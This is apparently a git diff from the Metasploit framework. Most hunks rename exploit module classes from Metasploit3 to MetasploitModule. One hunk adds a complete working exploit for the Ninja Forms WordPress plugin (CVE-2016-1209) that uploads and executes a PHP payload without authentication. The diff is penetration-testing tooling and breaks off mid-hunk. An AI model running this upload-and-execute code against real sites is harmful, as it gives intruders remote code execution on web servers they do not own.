b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index dc6b8ca785..fec5e636cb 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb b/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb index f86704f106..f9ac0917a8 100644 --- a/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb index ced2ed7f8c..711a3c81ec 100644 --- a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb +++ b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb index 39b948f6d9..714471ec6b 100644 --- a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/unix/webapp/wp_foxypress_upload.rb b/modules/exploits/unix/webapp/wp_foxypress_upload.rb index 10b9d39bbd..5b46f5a16a 100644 --- a/modules/exploits/unix/webapp/wp_foxypress_upload.rb +++ b/modules/exploits/unix/webapp/wp_foxypress_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb index 525d1dfce9..805a886437 100644 --- a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index f7e59f655a..b6e1d7ddc1 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rbmysql' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb index 26b36e5d62..9a77ef8950 100644 --- a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'socket' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb b/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb index cacccd0f7d..feae3662d5 100644 --- a/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb index 99deba5747..fd7a419a6c 100644 --- a/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb +++ b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_lastpost_exec.rb b/modules/exploits/unix/webapp/wp_lastpost_exec.rb index f807f9e58c..8f5fc9ba22 100644 --- a/modules/exploits/unix/webapp/wp_lastpost_exec.rb +++ b/modules/exploits/unix/webapp/wp_lastpost_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb new file mode 100644 index 0000000000..bf5d867292 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb @@ -0,0 +1,179 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Module::Deprecated + + deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload') + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Ninja Forms Unauthenticated File Upload', + 'Description' => %( + Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain + an unauthenticated file upload vulnerability, allowing guests + to upload arbitrary PHP code that can be executed in the context + of the web server. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Golovich', # Discovery and disclosure + 'Rob Carr ' # Metasploit module + ], + 'References' => + [ + ['CVE', '2016-1209'], + ['WPVDB', '8485'], + ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities'] + ], + 'DisclosureDate' => 'May 04 2016', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['ninja-forms', {}]], + 'DefaultTarget' => 0 + )) + + opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])] + register_options(opts, self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def check + check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36') + end + + def enable_v3_functionality + print_status 'Enabling vulnerable V3 functionality...' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path, + 'vars_get' => { 'nf-switcher' => 'upgrade' } + ) + + unless res && res.code == 200 + if res + fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.") + else + fail_with(Failure::Unreachable, 'Connection timed out.') + end + end + + vprint_good 'Enabled V3 functionality' + end + + def disable_v3_functionality + print_status 'Disabling vulnerable V3 functionality...' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path, + 'vars_get' => { 'nf-switcher' => 'rollback' } + ) + + if res && res.code == 200 + vprint_good 'Disabled V3 functionality' + elsif !res + print_error('Connection timed out while disabling V3 functionality') + else + print_error 'Failed to disable the vulnerable V3 functionality' + end + end + + def generate_mime_message(payload_name, nonce) + data = Rex::MIME::Message.new + data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"') + data.add_part(nonce, nil, nil, 'form-data; name="security"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"") + data + end + + def fetch_ninja_form_nonce + uri = normalize_uri(target_uri.path, datastore['FORM_PATH']) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}") + end + + form_wpnonce = res.get_hidden_inputs.first + form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce + + nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce + + unless nonce + fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH') + end + + nonce + end + + def upload_payload(data) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + vprint_error("Server responded with status code #{res.code}") if res.code != 200 + end + + def execute_payload(payload_name, payload_url) + register_files_for_cleanup("nftmp-#{payload_name.downcase}") + res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) + + if !res.nil? && res.code == 404 + print_error("Failed to upload the payload") + else + print_good("Executed payload") + end + end + + def exploit + # Vulnerable code is only available in the version 3 preview mode, which can be + # enabled by unauthenticated users due to lack of user level validation. + enable_v3_functionality + + # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any + # page that contains a form generated by Ninja Forms. + nonce = fetch_ninja_form_nonce + + print_status("Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" + payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}") + data = generate_mime_message(payload_name, nonce) + + print_status("Uploading payload to #{payload_url}") + upload_payload(data) + + print_status("Executing the payload...") + execute_payload(payload_name, payload_url) + + # Once the payload has been executed, we can disable the preview functionality again. + disable_v3_functionality + end +end diff --git a/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb b/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb index 485c58a950..c7027abc93 100644 --- a/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb index 2fc0fe33ca..9b10986e87 100644 --- a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb +++ b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'uri' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb index cbc7e40b53..941dc8f538 100644 --- a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/zip' require 'json' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb index 00226d4e6b..a75eefc24b 100644 --- a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb +++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/wp_platform_exec.rb b/modules/exploits/unix/webapp/wp_platform_exec.rb index 2321cede00..d71747cf93 100644 --- a/modules/exploits/unix/webapp/wp_platform_exec.rb +++ b/modules/exploits/unix/webapp/wp_platform_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index 3e83952a77..be24e09124 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb index 564aaead50..7590f4caef 100644 --- a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index 5e229750e1..c79b3069df 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 830cb7cea6..b6d53feb0a 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb index 6b7a2c30b9..620594fc2f 100644 --- a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb +++ b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/unix/webapp/wp_total_cache_exec.rb b/modules/exploits/unix/webapp/wp_total_cache_exec.rb index bcf6911d2b..8380660362 100644 --- a/modules/exploits/unix/webapp/wp_total_cache_exec.rb +++ b/modules/exploits/unix/webapp/wp_total_cache_exec.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb index ff0f1b3644..975d7d004a 100644 --- a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb +++ b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb b/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb index f4cd2947c3..bcf004dac6 100644 --- a/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb index b9077a1de7..4e73bdf79d 100644 --- a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb index e12dd578c5..4e4ab2070c 100644 --- a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb +++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 1a4f6f9ab5..5877144ba3 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 6af43f873a..2e6345440a 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/zimbra_lfi.rb b/modules/exploits/unix/webapp/zimbra_lfi.rb index 0cb88957e1..c11f84545f 100644 --- a/modules/exploits/unix/webapp/zimbra_lfi.rb +++ b/modules/exploits/unix/webapp/zimbra_lfi.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index 8f26104b4e..e1ff8e7aa0 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index fa69d395d3..d087d53acc 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/x11/x11_keyboard_exec.rb b/modules/exploits/unix/x11/x11_keyboard_exec.rb index 00ba8cad4b..3b07a8c264 100644 --- a/modules/exploits/unix/x11/x11_keyboard_exec.rb +++ b/modules/exploits/unix/x11/x11_keyboard_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb index efed29d6fa..3a1f29e0f0 100644 --- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb +++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - if not datastore['CMD'].empty? + unless datastore['CMD'].blank? print_status("Executing command '#{datastore['CMD']}'") execute_command(datastore['CMD']) return @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote windows_stager else fail_with(Failure::Unknown, 'Target not supported.') - end + end handler diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 7088c01e04..73479bd7c3 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.' }) + execute_cmdstager({ :temp => '.', :cgifname => exe_fname }) @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") @@ -92,8 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - - if not datastore['CMD'].empty? + unless datastore['CMD'].blank? print_status("Executing command '#{datastore['CMD']}'") execute_command(datastore['CMD']) return @@ -104,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote windows_stager else fail_with(Failure::Unknown, 'Target not supported.') - end + end handler diff --git a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb index 376be876bb..1f62f84c1e 100644 --- a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb +++ b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include REXML diff --git a/modules/exploits/windows/antivirus/symantec_iao.rb b/modules/exploits/windows/antivirus/symantec_iao.rb index 48b9a23fb3..e1ae91de8e 100644 --- a/modules/exploits/windows/antivirus/symantec_iao.rb +++ b/modules/exploits/windows/antivirus/symantec_iao.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/antivirus/symantec_rtvscan.rb b/modules/exploits/windows/antivirus/symantec_rtvscan.rb index d766eb6294..1e464e7b5d 100644 --- a/modules/exploits/windows/antivirus/symantec_rtvscan.rb +++ b/modules/exploits/windows/antivirus/symantec_rtvscan.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb index 5822a09417..1100693c5a 100644 --- a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb +++ b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb index 96d629dcf2..78276f632f 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb index 026513e734..f85e5a0d20 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb index ef09da8928..aab4bbef64 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index d1c08fd8c3..c4ef38be85 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Arkeia diff --git a/modules/exploits/windows/backdoor/energizer_duo_payload.rb b/modules/exploits/windows/backdoor/energizer_duo_payload.rb index a6eb07f123..6b1392a2b6 100644 --- a/modules/exploits/windows/backdoor/energizer_duo_payload.rb +++ b/modules/exploits/windows/backdoor/energizer_duo_payload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index 8670ef8c98..f67e8af3b3 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 13431a8ea1..85ca160d70 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::NDMP diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb index 0ac6087379..9c34ac5621 100644 --- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb +++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb index 8145935ad9..c2c7d89872 100644 --- a/modules/exploits/windows/brightstor/discovery_tcp.rb +++ 